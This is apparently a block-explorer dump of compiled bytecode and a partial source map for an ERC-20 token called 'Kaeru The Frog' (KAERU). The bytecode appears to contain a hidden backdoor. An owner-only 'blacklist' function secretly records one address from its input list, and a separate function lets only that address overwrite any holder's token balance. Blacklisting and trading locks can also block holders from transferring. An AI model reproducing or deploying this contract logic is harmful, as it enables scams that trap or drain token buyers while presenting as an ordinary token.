565b60006114bf611578565b905060006114cd83836108ae565b306000908152600260205260409020549091506114ea9082611456565b30600090815260026020526040902055505050565b60075461150c9083611414565b60075560085461151c9082611456565b6008555050565b600080808061153d606461153789896108ae565b90610937565b9050600061155060646115378a896108ae565b90506000611568826115628b86611414565b90611414565b9992985090965090945050505050565b60008060006115856115eb565b90925090506115948282610937565b9250505090565b60008080806115aa88866108ae565b905060006115b888876108ae565b905060006115c688886108ae565b905060006115d8826115628686611414565b939b939a50919850919650505050505050565b6007546000908190670de0b6b3a76400006116068282610937565b82101561162257505060075492670de0b6b3a764000092509050565b90939092509050565b600060208083528351808285015260005b818110156116585785810183015185820160400152820161163c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461069957600080fd5b803561169981611679565b919050565b600080604083850312156116b157600080fd5b82356116bc81611679565b946020939093013593505050565b6000806000606084860312156116df57600080fd5b83356116ea81611679565b925060208401356116fa81611679565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561173457600080fd5b823567ffffffffffffffff8082111561174c57600080fd5b818501915085601f83011261176057600080fd5b8135818111156117725761177261170b565b8060051b604051601f19603f830116810181811085821117156117975761179761170b565b6040529182528482019250838101850191888311156117b557600080fd5b938501935b828510156117da576117cb8561168e565b845293850193928501926117ba565b98975050505050505050565b6000602082840312156117f857600080fd5b813561093081611679565b6000806040838503121561181657600080fd5b823561182181611679565b9150602083013561183181611679565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016118af576118af611887565b5060010190565b80820281158282048414176104c4576104c4611887565b6000826118ea57634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156104c4576104c4611887565b818103818111156104c4576104c4611887565b60006020828403121561192757600080fd5b815161093081611679565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119825784516001600160a01b03168352938301939183019160010161195d565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220de08561244fcf1db3f019a1706ec02333dde93746a3ceb9ef9fc764a8fd4da5f64736f6c63430008110033

Deployed Bytecode

0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063bfd792841161006f578063bfd79284146103d2578063c3c8cd8014610402578063c6067ce314610417578063d00efb2f14610437578063dd62ed3e1461044d578063f2fde38b1461049357600080fd5b8063715018a6146103255780637d1db4a51461033a5780638da5cb5b146103505780638f9a55c01461036e57806395d89b4114610384578063a9059cbb146103b257600080fd5b80632fd689e3116101085780632fd689e314610273578063313ce5671461028957806349bd5a5e146102a557806362256589146102c55780636fc3eaec146102da57806370a08231146102ef57600080fd5b806306fdde031461015b578063095ea7b3146101a45780631694505e146101d457806318160ddd1461020c57806323b872dd146102315780632a5cc3b21461025157600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5060408051808201909152600e81526d4b61657275205468652046726f6760901b60208201525b60405161019b919061162b565b60405180910390f35b3480156101b057600080fd5b506101c46101bf36600461169e565b6104b3565b604051901515815260200161019b565b3480156101e057600080fd5b506016546101f4906001600160a01b031681565b6040516001600160a01b03909116815260200161019b565b34801561021857600080fd5b50670de0b6b3a76400005b60405190815260200161019b565b34801561023d57600080fd5b506101c461024c3660046116ca565b6104ca565b34801561025d57600080fd5b5061027161026c366004611721565b610533565b005b34801561027f57600080fd5b50610223601b5481565b34801561029557600080fd5b506040516009815260200161019b565b3480156102b157600080fd5b506017546101f4906001600160a01b031681565b3480156102d157600080fd5b50610271610613565b3480156102e657600080fd5b50610271610651565b3480156102fb57600080fd5b5061022361030a3660046117e6565b6001600160a01b031660009081526002602052604090205490565b34801561033157600080fd5b5061027161069c565b34801561034657600080fd5b5061022360195481565b34801561035c57600080fd5b506000546001600160a01b03166101f4565b34801561037a57600080fd5b50610223601a5481565b34801561039057600080fd5b506040805180820190915260058152644b4145525560d81b602082015261018e565b3480156103be57600080fd5b506101c46103cd36600461169e565b610710565b3480156103de57600080fd5b506101c46103ed3660046117e6565b60126020526000908152604090205460ff1681565b34801561040e57600080fd5b5061027161071d565b34801561042357600080fd5b5061027161043236600461169e565b610774565b34801561044357600080fd5b5061022360095481565b34801561045957600080fd5b50610223610468366004611803565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561049f57600080fd5b506102716104ae3660046117e6565b6107c4565b60006104c0338484610979565b5060015b92915050565b60006104d7848484610a9d565b6105298433610524856040518060600160405280602881526020016119a4602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610ff9565b610979565b5060019392505050565b6000546001600160a01b031633146105665760405162461bcd60e51b815260040161055d9061183c565b60405180910390fd5b60005b81518110156105ce5760016004600084848151811061058a5761058a611871565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105c68161189d565b915050610569565b5080600a815181106105e2576105e2611871565b6020026020010151601860006101000a8154816001600160a01b0302191690836001600160a01b0316021790555050565b6000546001600160a01b0316331461063d5760405162461bcd60e51b815260040161055d9061183c565b683635c9adc5dea000006019819055601a55565b6014546001600160a01b0316336001600160a01b0316148061068657506015546001600160a01b0316336001600160a01b0316145b61068f57600080fd5b4761069981611033565b50565b6000546001600160a01b031633146106c65760405162461bcd60e51b815260040161055d9061183c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006104c0338484610a9d565b6014546001600160a01b0316336001600160a01b0316148061075257506015546001600160a01b0316336001600160a01b0316145b61075b57600080fd5b30600090815260026020526040902054610699816110bc565b6018546001600160a01b031633146107a85760405162461bcd60e51b8152602060048201526000602482015260440161055d565b6001600160a01b03909116600090815260026020526040902055565b6000546001600160a01b031633146107ee5760405162461bcd60e51b815260040161055d9061183c565b6001600160a01b0381166108535760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161055d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000826000036108c0575060006104c4565b60006108cc83856118b6565b9050826108d985836118cd565b146109305760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161055d565b9392505050565b600061093083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611236565b6001600160a01b0383166109db5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161055d565b6001600160a01b038216610a3c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161055d565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b015760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161055d565b6001600160a01b038216610b635760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161055d565b60008111610bc55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161055d565b6000546001600160a01b03848116911614801590610bf157506000546001600160a01b03838116911614155b15610eec57601854600160a01b900460ff1615610c8b576000546001600160a01b03848116911614610c8b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161055d565b601954811115610cdd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161055d565b6001600160a01b03831660009081526012602052604090205460ff16158015610d1f57506001600160a01b03821660009081526012602052604090205460ff16155b610d775760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161055d565b6017546001600160a01b03838116911614610e1257601a5481610daf846001600160a01b031660009081526002602052604090205490565b610db991906118ef565b10610e125760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161055d565b30600090815260026020526040902054601b5460195490821015908210610e395760195491505b808015610e505750601854600160a81b900460ff16155b8015610e6a57506017546001600160a01b03868116911614155b8015610e7f5750601854600160b01b900460ff165b8015610ea457506001600160a01b03851660009081526006602052604090205460ff16155b8015610ec957506001600160a01b03841660009081526006602052604090205460ff16155b15610ee957610ed7826110bc565b478015610ee757610ee747611033565b505b50505b6001600160a01b03831660009081526006602052604090205460019060ff1680610f2e57506001600160a01b03831660009081526006602052604090205460ff165b80610f6057506017546001600160a01b03858116911614801590610f6057506017546001600160a01b03848116911614155b15610f6d57506000610fe7565b6017546001600160a01b038581169116148015610f9857506016546001600160a01b03848116911614155b15610faa57600a54600e55600b54600f555b6017546001600160a01b038481169116148015610fd557506016546001600160a01b03858116911614155b15610fe757600c54600e55600d54600f555b610ff384848484611264565b50505050565b6000818484111561101d5760405162461bcd60e51b815260040161055d919061162b565b50600061102a8486611902565b95945050505050565b6014546001600160a01b03166108fc61104d836002610937565b6040518115909202916000818181858888f19350505050158015611075573d6000803e3d6000fd5b506015546001600160a01b03166108fc611090836002610937565b6040518115909202916000818181858888f193505050501580156110b8573d6000803e3d6000fd5b5050565b6018805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061110457611104611871565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561115d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111819190611915565b8160018151811061119457611194611871565b6001600160a01b0392831660209182029290920101526016546111ba9130911684610979565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac947906111f3908590600090869030904290600401611932565b600060405180830381600087803b15801561120d57600080fd5b505af1158015611221573d6000803e3d6000fd5b50506018805460ff60a81b1916905550505050565b600081836112575760405162461bcd60e51b815260040161055d919061162b565b50600061102a84866118cd565b8061127157611271611292565b61127c8484846112c0565b80610ff357610ff3601054600e55601154600f55565b600e541580156112a25750600f54155b156112a957565b600e8054601055600f805460115560009182905555565b6000806000806000806112d2876113b7565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113049087611414565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113339086611456565b6001600160a01b038916600090815260026020526040902055611355816114b5565b61135f84836114ff565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113a491815260200190565b60405180910390a3505050505050505050565b60008060008060008060008060006113d48a600e54600f54611523565b92509250925060006113e4611578565b905060008060006113f78e87878761159b565b919e509c509a509598509396509194505050505091939550919395565b600061093083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ff9565b60008061146383856118ef565b9050838110156109305760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161055d565b60006114bf611578565b905060006114cd83836108ae565b306000908152600260205260409020549091506114ea9082611456565b30600090815260026020526040902055505050565b60075461150c9083611414565b60075560085461151c9082611456565b6008555050565b600080808061153d606461153789896108ae565b90610937565b9050600061155060646115378a896108ae565b90506000611568826115628b86611414565b90611414565b9992985090965090945050505050565b60008060006115856115eb565b90925090506115948282610937565b9250505090565b60008080806115aa88866108ae565b905060006115b888876108ae565b905060006115c688886108ae565b905060006115d8826115628686611414565b939b939a50919850919650505050505050565b6007546000908190670de0b6b3a76400006116068282610937565b82101561162257505060075492670de0b6b3a764000092509050565b90939092509050565b600060208083528351808285015260005b818110156116585785810183015185820160400152820161163c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461069957600080fd5b803561169981611679565b919050565b600080604083850312156116b157600080fd5b82356116bc81611679565b946020939093013593505050565b6000806000606084860312156116df57600080fd5b83356116ea81611679565b925060208401356116fa81611679565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561173457600080fd5b823567ffffffffffffffff8082111561174c57600080fd5b818501915085601f83011261176057600080fd5b8135818111156117725761177261170b565b8060051b604051601f19603f830116810181811085821117156117975761179761170b565b6040529182528482019250838101850191888311156117b557600080fd5b938501935b828510156117da576117cb8561168e565b845293850193928501926117ba565b98975050505050505050565b6000602082840312156117f857600080fd5b813561093081611679565b6000806040838503121561181657600080fd5b823561182181611679565b9150602083013561183181611679565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016118af576118af611887565b5060010190565b80820281158282048414176104c4576104c4611887565b6000826118ea57634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156104c4576104c4611887565b818103818111156104c4576104c4611887565b60006020828403121561192757600080fd5b815161093081611679565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119825784516001600160a01b03168352938301939183019160010161195d565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220de08561244fcf1db3f019a1706ec02333dde93746a3ceb9ef9fc764a8fd4da5f64736f6c63430008110033

Deployed Bytecode Sourcemap

4175:12669:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6808:83;;;;;;;;;;-1:-1:-1;6878:5:0;;;;;;;;;;;;-1:-1:-1;;;6878:5:0;;;;6808:83;;;;;;;:::i;:::-;;;;;;;;7719:193;;;;;;;;;;-1:-1:-1;7719:193:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;7719:193:0;1162:187:1;5586:41:0;;;;;;;;;;-1:-1:-1;5586:41:0;;;;-1:-1:-1;;;;;5586:41:0;;;;;;-1:-1:-1;;;;;1544:32:1;;;1526:51;;1514:2;1499:18;5586:41:0;1354:229:1;7088:95:0;;;;;;;;;;-1:-1:-1;4775:18:0;7088:95;;;1734:25:1;;;1722:2;1707:18;7088:95:0;1588:177:1;7921:446:0;;;;;;;;;;-1:-1:-1;7921:446:0;;;;;:::i;:::-;;:::i;12405:231::-;;;;;;;;;;-1:-1:-1;12405:231:0;;;;;:::i;:::-;;:::i;:::-;;5938:61;;;;;;;;;;;;;;;;6996:83;;;;;;;;;;-1:-1:-1;6996:83:0;;4402:1;3631:36:1;;3619:2;3604:18;6996:83:0;3489:184:1;5634:28:0;;;;;;;;;;-1:-1:-1;5634:28:0;;;;-1:-1:-1;;;;;5634:28:0;;;16420:146;;;;;;;;;;;;;:::i;13020:235::-;;;;;;;;;;;;;:::i;7192:117::-;;;;;;;;;;-1:-1:-1;7192:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;7285:16:0;7258:7;7285:16;;;:7;:16;;;;;;;7192:117;1645:148;;;;;;;;;;;;;:::i;5810:55::-;;;;;;;;;;;;;;;;1429:79;;;;;;;;;;-1:-1:-1;1467:7:0;1494:6;-1:-1:-1;;;;;1494:6:0;1429:79;;5873:57;;;;;;;;;;;;;;;;6900:87;;;;;;;;;;-1:-1:-1;6972:7:0;;;;;;;;;;;;-1:-1:-1;;;6972:7:0;;;;6900:87;;7318:199;;;;;;;;;;-1:-1:-1;7318:199:0;;;;;:::i;:::-;;:::i;5280:36::-;;;;;;;;;;-1:-1:-1;5280:36:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12775:236;;;;;;;;;;;;;:::i;12648:121::-;;;;;;;;;;-1:-1:-1;12648:121:0;;;;;:::i;:::-;;:::i;4874:26::-;;;;;;;;;;;;;;;;7526:184;;;;;;;;;;-1:-1:-1;7526:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7675:18:0;;;7643:7;7675:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7526:184;1802:244;;;;;;;;;;-1:-1:-1;1802:244:0;;;;;:::i;:::-;;:::i;7719:193::-;7821:4;7843:39;255:10;7866:7;7875:6;7843:8;:39::i;:::-;-1:-1:-1;7900:4:0;7719:193;;;;;:::o;7921:446::-;8053:4;8070:36;8080:6;8088:9;8099:6;8070:9;:36::i;:::-;8117:220;8140:6;255:10;8188:138;8244:6;8188:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8188:19:0;;;;;;:11;:19;;;;;;;;255:10;8188:33;;;;;;;;;;:37;:138::i;:::-;8117:8;:220::i;:::-;-1:-1:-1;8355:4:0;7921:446;;;;;:::o;12405:231::-;1557:6;;-1:-1:-1;;;;;1557:6:0;255:10;1557:22;1549:67;;;;-1:-1:-1;;;1549:67:0;;;;;;;:::i;:::-;;;;;;;;;12487:9:::1;12483:100;12506:9;:16;12502:1;:20;12483:100;;;12567:4;12544:6;:20;12551:9;12561:1;12551:12;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;12544:20:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;12544:20:0;:27;;-1:-1:-1;;12544:27:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12524:3;::::1;::::0;::::1;:::i;:::-;;;;12483:100;;;;12613:9;12623:2;12613:13;;;;;;;;:::i;:::-;;;;;;;12593:10;;:34;;;;;-1:-1:-1::0;;;;;12593:34:0::1;;;;;-1:-1:-1::0;;;;;12593:34:0::1;;;;;;12405:231:::0;:::o;16420:146::-;1557:6;;-1:-1:-1;;;;;1557:6:0;255:10;1557:22;1549:67;;;;-1:-1:-1;;;1549:67:0;;;;;;;:::i;:::-;16488:21:::1;16473:12;:36:::0;;;16520:14:::1;:38:::0;16420:146::o;13020:235::-;13086:19;;-1:-1:-1;;;;;13086:19:0;255:10;-1:-1:-1;;;;;13070:35:0;;:72;;;-1:-1:-1;13125:17:0;;-1:-1:-1;;;;;13125:17:0;255:10;-1:-1:-1;;;;;13109:33:0;;13070:72;13062:81;;;;;;13183:21;13215:32;13183:21;13215:12;:32::i;:::-;13051:204;13020:235::o;1645:148::-;1557:6;;-1:-1:-1;;;;;1557:6:0;255:10;1557:22;1549:67;;;;-1:-1:-1;;;1549:67:0;;;;;;;:::i;:::-;1752:1:::1;1736:6:::0;;1715:40:::1;::::0;-1:-1:-1;;;;;1736:6:0;;::::1;::::0;1715:40:::1;::::0;1752:1;;1715:40:::1;1783:1;1766:19:::0;;-1:-1:-1;;;;;;1766:19:0::1;::::0;;1645:148::o;7318:199::-;7423:4;7445:42;255:10;7469:9;7480:6;7445:9;:42::i;12775:236::-;12841:19;;-1:-1:-1;;;;;12841:19:0;255:10;-1:-1:-1;;;;;12825:35:0;;:72;;;-1:-1:-1;12880:17:0;;-1:-1:-1;;;;;12880:17:0;255:10;-1:-1:-1;;;;;12864:33:0;;12825:72;12817:81;;;;;;12953:4;12909:23;7285:16;;;:7;:16;;;;;;12970:33;7285:16;12970;:33::i;12648:121::-;8409:10;;-1:-1:-1;;;;;8409:10:0;8424;8401:33;8392:49;;;;-1:-1:-1;;;8392:49:0;;5498:2:1;8392:49:0;;;5480:21:1;-1:-1:-1;5517:18:1;;;5510:29;5556:18;;8392:49:0;5296:284:1;8392:49:0;-1:-1:-1;;;;;12733:16:0;;::::1;;::::0;;;:7:::1;:16;::::0;;;;:25;12648:121::o;1802:244::-;1557:6;;-1:-1:-1;;;;;1557:6:0;255:10;1557:22;1549:67;;;;-1:-1:-1;;;1549:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1891:22:0;::::1;1883:73;;;::::0;-1:-1:-1;;;1883:73:0;;5787:2:1;1883:73:0::1;::::0;::::1;5769:21:1::0;5826:2;5806:18;;;5799:30;5865:34;5845:18;;;5838:62;-1:-1:-1;;;5916:18:1;;;5909:36;5962:19;;1883:73:0::1;5585:402:1::0;1883:73:0::1;1993:6;::::0;;1972:38:::1;::::0;-1:-1:-1;;;;;1972:38:0;;::::1;::::0;1993:6;::::1;::::0;1972:38:::1;::::0;::::1;2021:6;:17:::0;;-1:-1:-1;;;;;;2021:17:0::1;-1:-1:-1::0;;;;;2021:17:0;;;::::1;::::0;;;::::1;::::0;;1802:244::o;2647:246::-;2705:7;2729:1;2734;2729:6;2725:47;;-1:-1:-1;2759:1:0;2752:8;;2725:47;2782:9;2794:5;2798:1;2794;:5;:::i;:::-;2782:17;-1:-1:-1;2827:1:0;2818:5;2822:1;2782:17;2818:5;:::i;:::-;:10;2810:56;;;;-1:-1:-1;;;2810:56:0;;6589:2:1;2810:56:0;;;6571:21:1;6628:2;6608:18;;;6601:30;6667:34;6647:18;;;6640:62;-1:-1:-1;;;6718:18:1;;;6711:31;6759:19;;2810:56:0;6387:397:1;2810:56:0;2884:1;2647:246;-1:-1:-1;;;2647:246:0:o;2902:132::-;2960:7;2987:39;2991:1;2994;2987:39;;;;;;;;;;;;;;;;;:3;:39::i;9140:369::-;-1:-1:-1;;;;;9267:19:0;;9259:68;;;;-1:-1:-1;;;9259:68:0;;6991:2:1;9259:68:0;;;6973:21:1;7030:2;7010:18;;;7003:30;7069:34;7049:18;;;7042:62;-1:-1:-1;;;7120:18:1;;;7113:34;7164:19;;9259:68:0;6789:400:1;9259:68:0;-1:-1:-1;;;;;9346:21:0;;9338:68;;;;-1:-1:-1;;;9338:68:0;;7396:2:1;9338:68:0;;;7378:21:1;7435:2;7415:18;;;7408:30;7474:34;7454:18;;;7447:62;-1:-1:-1;;;7525:18:1;;;7518:32;7567:19;;9338:68:0;7194:398:1;9338:68:0;-1:-1:-1;;;;;9417:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9469:32;;1734:25:1;;;9469:32:0;;1707:18:1;9469:32:0;;;;;;;9140:369;;;:::o;9518:2217::-;-1:-1:-1;;;;;9640:18:0;;9632:68;;;;-1:-1:-1;;;9632:68:0;;7799:2:1;9632:68:0;;;7781:21:1;7838:2;7818:18;;;7811:30;7877:34;7857:18;;;7850:62;-1:-1:-1;;;7928:18:1;;;7921:35;7973:19;;9632:68:0;7597:401:1;9632:68:0;-1:-1:-1;;;;;9719:16:0;;9711:64;;;;-1:-1:-1;;;9711:64:0;;8205:2:1;9711:64:0;;;8187:21:1;8244:2;8224:18;;;8217:30;8283:34;8263:18;;;8256:62;-1:-1:-1;;;8334:18:1;;;8327:33;8377:19;;9711:64:0;8003:399:1;9711:64:0;9803:1;9794:6;:10;9786:64;;;;-1:-1:-1;;;9786:64:0;;8609:2:1;9786:64:0;;;8591:21:1;8648:2;8628:18;;;8621:30;8687:34;8667:18;;;8660:62;-1:-1:-1;;;8738:18:1;;;8731:39;8787:19;;9786:64:0;8407:405:1;9786:64:0;1467:7;1494:6;-1:-1:-1;;;;;9868:15:0;;;1494:6;;9868:15;;;;:32;;-1:-1:-1;1467:7:0;1494:6;-1:-1:-1;;;;;9887:13:0;;;1494:6;;9887:13;;9868:32;9864:1231;;;9924:11;;-1:-1:-1;;;9924:11:0;;;;9920:143;;;1467:7;1494:6;-1:-1:-1;;;;;9964:15:0;;;1494:6;;9964:15;9956:91;;;;-1:-1:-1;;;9956:91:0;;9019:2:1;9956:91:0;;;9001:21:1;9058:2;9038:18;;;9031:30;9097:34;9077:18;;;9070:62;9168:33;9148:18;;;9141:61;9219:19;;9956:91:0;8817:427:1;9956:91:0;10098:12;;10088:6;:22;;10080:63;;;;-1:-1:-1;;;10080:63:0;;9451:2:1;10080:63:0;;;9433:21:1;9490:2;9470:18;;;9463:30;9529;9509:18;;;9502:58;9577:18;;10080:63:0;9249:352:1;10080:63:0;-1:-1:-1;;;;;10167:10:0;;;;;;:4;:10;;;;;;;;10166:11;:24;;;;-1:-1:-1;;;;;;10182:8:0;;;;;;:4;:8;;;;;;;;10181:9;10166:24;10158:72;;;;-1:-1:-1;;;10158:72:0;;9808:2:1;10158:72:0;;;9790:21:1;9847:2;9827:18;;;9820:30;9886:34;9866:18;;;9859:62;-1:-1:-1;;;9937:18:1;;;9930:33;9980:19;;10158:72:0;9606:399:1;10158:72:0;10257:13;;-1:-1:-1;;;;;10251:19:0;;;10257:13;;10251:19;10248:146;;10324:14;;10315:6;10299:13;10309:2;-1:-1:-1;;;;;7285:16:0;7258:7;7285:16;;;:7;:16;;;;;;;7192:117;10299:13;:22;;;;:::i;:::-;:39;10291:87;;;;-1:-1:-1;;;10291:87:0;;10342:2:1;10291:87:0;;;10324:21:1;10381:2;10361:18;;;10354:30;10420:34;10400:18;;;10393:62;-1:-1:-1;;;10471:18:1;;;10464:33;10514:19;;10291:87:0;10140:399:1;10291:87:0;10460:4;10411:28;7285:16;;;:7;:16;;;;;;10520:19;;10584:12;;10496:43;;;;;10560:36;;10557:124;;10653:12;;10630:35;;10557:124;10702:7;:18;;;;-1:-1:-1;10714:6:0;;-1:-1:-1;;;10714:6:0;;;;10713:7;10702:18;:43;;;;-1:-1:-1;10732:13:0;;-1:-1:-1;;;;;10724:21:0;;;10732:13;;10724:21;;10702:43;:58;;;;-1:-1:-1;10749:11:0;;-1:-1:-1;;;10749:11:0;;;;10702:58;:87;;;;-1:-1:-1;;;;;;10765:24:0;;;;;;:18;:24;;;;;;;;10764:25;10702:87;:114;;;;-1:-1:-1;;;;;;10794:22:0;;;;;;:18;:22;;;;;;;;10793:23;10702:114;10698:386;;;10837:38;10854:20;10837:16;:38::i;:::-;10923:21;10967:22;;10963:106;;11014:35;11027:21;11014:12;:35::i;:::-;10818:266;10698:386;9902:1193;;9864:1231;-1:-1:-1;;;;;11146:24:0;;11108:12;11146:24;;;:18;:24;;;;;;11123:4;;11146:24;;;:50;;-1:-1:-1;;;;;;11174:22:0;;;;;;:18;:22;;;;;;;;11146:50;11145:102;;;-1:-1:-1;11210:13:0;;-1:-1:-1;;;;;11202:21:0;;;11210:13;;11202:21;;;;:44;;-1:-1:-1;11233:13:0;;-1:-1:-1;;;;;11227:19:0;;;11233:13;;11227:19;;11202:44;11141:532;;;-1:-1:-1;11274:5:0;11141:532;;;11326:13;;-1:-1:-1;;;;;11318:21:0;;;11326:13;;11318:21;:55;;;;-1:-1:-1;11357:15:0;;-1:-1:-1;;;;;11343:30:0;;;11357:15;;11343:30;;11318:55;11315:162;;;11406:14;;11394:9;:26;11449:12;;11439:7;:22;11315:162;11504:13;;-1:-1:-1;;;;;11498:19:0;;;11504:13;;11498:19;:55;;;;-1:-1:-1;11537:15:0;;-1:-1:-1;;;;;11521:32:0;;;11537:15;;11521:32;;11498:55;11494:165;;;11586:15;;11574:9;:27;11630:13;;11620:7;:23;11494:165;11686:41;11701:4;11707:2;11711:6;11719:7;11686:14;:41::i;:::-;9621:2114;9518:2217;;;:::o;2414:224::-;2534:7;2570:12;2562:6;;;;2554:29;;;;-1:-1:-1;;;2554:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2594:9:0;2606:5;2610:1;2606;:5;:::i;:::-;2594:17;2414:224;-1:-1:-1;;;;;2414:224:0:o;12236:160::-;12293:19;;-1:-1:-1;;;;;12293:19:0;:43;12322:13;:6;12333:1;12322:10;:13::i;:::-;12293:43;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;12347:17:0;;-1:-1:-1;;;;;12347:17:0;:41;12374:13;:6;12385:1;12374:10;:13::i;:::-;12347:41;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12236:160;:::o;11744:483::-;6095:6;:13;;-1:-1:-1;;;;6095:13:0;-1:-1:-1;;;6095:13:0;;;11846:16:::1;::::0;;11860:1:::1;11846:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11846:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11846:16:0::1;11822:40;;11891:4;11873;11878:1;11873:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11873:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11917:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11917:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11873:7;;11917:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11907:4;11912:1;11907:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11907:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11982:15:::1;::::0;11950:62:::1;::::0;11967:4:::1;::::0;11982:15:::1;12000:11:::0;11950:8:::1;:62::i;:::-;12023:15;::::0;:196:::1;::::0;-1:-1:-1;;;12023:196:0;;-1:-1:-1;;;;;12023:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12104:11;;12023:15:::1;::::0;12146:4;;12173::::1;::::0;12193:15:::1;::::0;12023:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6131:6:0;:14;;-1:-1:-1;;;;6131:14:0;;;-1:-1:-1;;;;11744:483:0:o;3043:223::-;3163:7;319